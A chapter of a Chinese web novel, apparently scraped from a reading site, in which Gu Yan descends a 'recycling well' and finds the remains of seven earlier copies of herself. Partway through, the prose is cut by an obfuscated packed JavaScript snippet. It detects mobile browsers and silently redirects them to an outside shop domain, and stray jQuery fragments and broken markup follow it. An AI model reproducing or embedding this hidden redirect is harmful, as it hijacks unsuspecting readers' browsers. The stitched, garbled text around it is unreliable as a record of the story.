回收井的边沿是湿滑的青苔，踩上去像踩着一层腐烂的皮肤。
顾湮蹲在井口，掌心的红线绕过了无名指的关节，像一枚细小的戒指，勒得有些发烫。她盯着井底那片漆黑，呼吸声在竖井里撞出回声，一声，又一声，比她的心跳慢半拍。
庚站在她身后三步远的地方，没有靠近。他的秤杆横在肩上，两端悬着的铜盘微微晃动，一滴水从井壁渗落，刚好落进左边的盘子里，发出极轻的一声"嗒"。
"你确定要看。"庚的声音从背后传来，带着那种惯常的、什么都称过一遍的懒散，"回收井不是给人看的。看了，就再也称不出自己几斤几两。"
顾湮没有回头。她的右手食指上有一道细小的划痕，是方才下井梯时被铁锈刮的。但她记得很清楚——那道划痕出现的位置，和隧道里第七次替换时她摸到的那处凹凸，完全重合。
"我已经在井底了。"她说。
她攀着铁梯往下，锈蚀的横档在掌心留下一道道红褐色的印痕。井壁渐渐收窄，光线从头顶缩成一块模糊的亮斑，然后彻底消失。
她攀着铁梯往下，铁梯很长。脚尖触到地面时，她已经忘了自己踩过多少级。
是软的。
她蹲下身，指尖触到一层潮湿的、有弹性的东西，像凝固的油脂，又像某种被压扁的活物。那股气味并不腥臭，反而带着一种淡淡的、类似旧书页的干燥气息，混着一丝说不清的甜。
她摸到了第一张脸。
准确地说，是摸到了一张脸的轮廓——眉骨、鼻梁、唇线，所有起伏都在她的指腹下铺展开来。那五官的排布方式带着一种眼熟，像照镜子时看见自己的轮廓被压进一团软泥里。她顺着那张脸的边缘往下摸，摸到脖颈、肩膀、手臂，然后是另一只手。
那只手攥着她的手腕。
她僵住了。
黑暗里没有光，但她能感觉到那只手的温度——比井壁的石头热一点，比活人的体温低一点。它攥得不算紧，像在确认什么，又像在挽留什么。
顾湮没有挣开。她只是安静地蹲在那只手的旁边，让指尖慢慢滑过它的指节。她摸到了一道旧疤，在食指的第二关节处，斜着划过去，像一道被遗忘的裂纹。
那是她十七岁那年，在厨房切菜时留下的疤。
她记得那道疤的来历。那天她母亲在电话里说"你爸走了"，她握着刀愣了很久，刀锋斜着切进食指，血滴在案板上，像一枚枚来不及落地的句号。她没哭，只是把手指放进冷水里冲了很久，直到伤口边缘的皮肤变成惨白色。
现在，那道疤在另一个人的手指上。
她松开那只手，往旁边摸去。第二张脸、第三只手、第四截小臂——每一截肢体都带着她熟悉的标记：左肩的旧烫伤，右膝的磕痕，手腕内侧那颗浅棕色的痣。她像在翻阅一本被拆散的自传，每一页都写着她的名字，却拼不出一个完整的她。
"七个。"她听见自己的声音在井底回荡，像从很远的地方传过来，"七个我，都在这里。"
头顶传来庚的回应，隔着几十米的竖井，声音被拉成细线："回收井的容量是九。满了，就换一口新井。"
顾湮抬起头，看不见任何东西。回收井的容量是九。她已经丢掉了七个旧我——井底还剩两个空位。
那些破碎的肢体碎片散落在井底的软泥里——七个她，像被揉皱的纸团。
她的手在软泥里摸到一样不属于肢体碎片的东西。薄薄的，皱成一团，边缘黏着半干的井泥。她把它捞起来，指腹碾了碾——是一张糖纸。琥珀色的，半透明，被水泡得发软，上面的纹路已经洇开了，只剩一圈模糊的轮廓。
顾湮认得这张糖纸。
那是替身之城那个糖人摊主的糖蝴蝶。她买了一只，掰开糖壳，取出了里面的棱形石子。糖壳和糖纸她随手放在了客栈的桌上，没有带走。
现在它在这口井里。
她捏着那张糖纸，在黑暗里坐了很久。井底很静，只有她自己呼吸的声音，一声，一声，从井壁上弹回来。她不知道该不该把它放回去。她最后把它塞进袖袋，像藏起一件不该出现在这里的证物。
"第九个是谁。"她问。
庚没有回答。
顾湮在井底坐了很久。那些肢体的触感还留在她的指尖，像一层洗不掉的膜。她试着站起来，踩在那些柔软的碎片上，每一步都像踩着什么人的呼吸。
她想起一件事。她在隧道里被替换时，那个被剥离的旧我，会不会也曾经蹲在这口井底，摸到过更早的那些她自己？她曾经在某个瞬间感到过一种莫名的、巨大的悲伤——那种悲伤没有来由，像从地底渗上来的水，沿着她的脊柱往上爬，一直爬到后脑勺。
她一直以为那是她的错觉。
现在她知道那不是错觉。那是另一个她在井底哭。
她开始往上爬。铁梯的横档在掌心留下新的刻痕，粗糙的锈片嵌进皮肤，但她没有停下。锈档在她脚下吱呀作响，像老旧的钟摆，越响越密。
她爬出井口时，灰白的天光刺得她眯起眼睛。庚还站在原地，秤杆上的铜盘已经空了，水珠不知何时蒸发了。他看着顾湮，目光落在她掌心的灰纹上，说了一句：
"你少了一道。"
顾湮低头，把手心摊在光里。两道灰纹，加一道裂缝细线。她盯着看了很久，没有数。
还是两道。
"你刚才在井底待了一刻钟。"庚说，"按回收井的规则，井底每待满一刻钟，就会回收一段旧我。你上来的时候，应该少了一段记忆。"
顾湮怔住。她试着回忆井底的情景——那些肢体、那只攥着她手腕的手、那道十七岁的旧疤。她全都记得，每一帧都清晰得像刚刚发生。
"我没少。"她说。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17932589|213646||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
庚的目光落在她的右手食指上，那道细小的划痕还在渗血。他沉默了一会儿，把秤杆从肩上卸下来，竖在地上，铜盘在杆身两侧轻轻晃动。
"你确定你记得的是井底，还是井底被替换前的记忆。"
顾湮的呼吸停了一拍。
她记得井底的每一个细节，可她记不起自己是怎么下去的。她记得铁梯的锈迹、井壁的青苔、井底的软泥，但"爬下铁梯"这个动作本身，在她记忆里是一段空白。
她像一页被翻过的书，只记得前后的文字，却忘了翻页的动作。
"替身律的真相。"庚缓缓开口，声音像秤杆上的铜盘一样沉，"不是替换。是覆盖。旧我被剥离后，不是消失，而是被沉入井底。但新我并不是全新的——新我是旧我的复制品，只是被抹掉了井底那一段记忆。"
顾湮站在原地，掌心的红线微微发烫。她看着庚，问了一句："你怎么知道得这么清楚。"
庚没有直接回答。他把秤杆重新扛回肩上，转身往井口的方向走去。走了几步，他停下来，没有回头。
"因为我称过自己的重量。"他说，"第七次替换之后，我称出的重量比之前少了七分之一。秤不会说谎。"
他顿了顿。
"顾湮，你早就不是原版了。你只是最后一个记得自己曾经是原版的人。"
庚走了。顾湮一个人站在回收井边，看着井口那一圈湿滑的青苔。风从井底吹上来，带着那股旧书页的气息，混着一丝淡淡的甜味。
她想起一件事。刚才在井底，那只攥着她手腕的手，不是她的左手。
那是一只右手。
她低头看着自己的右手——食指上有一道细小的划痕，正在渗血。那道划痕的位置，和井底那只手食指上的旧疤，并不重合。
一个更可怕的事实：如果井底那些肢体碎片都是被回收的旧我，那么其中应该有一个旧我，她的右手食指上没有那道划痕——因为那道划痕是在隧道里第七次替换之后才出现的。
但她在井底摸到的七只手，每一只的食指第二关节处，都有一道旧疤。
那道疤是十七岁那年留下的。
七只手，七道疤，同在食指第二关节。
但她的右手食指上，那道新划痕横亘在旧疤之上，像一道被覆盖的笔迹。
她低头看着掌心的两道灰纹。最外侧那道灰纹的边缘，有一道极细的裂缝，裂缝里渗出一丝暗红色的光。
"我是第几个。"她问风。
风没有回答。井底传来一声极轻的响动，像什么人在黑暗中翻了个身。
她转身离开时，没有注意到——井口边缘的青苔上，有一双极浅的脚印，方向是朝井里的。
她离开后很久，那口井的井壁内侧，缓缓渗出一行字。
字迹是她的。
"第九个，是你。"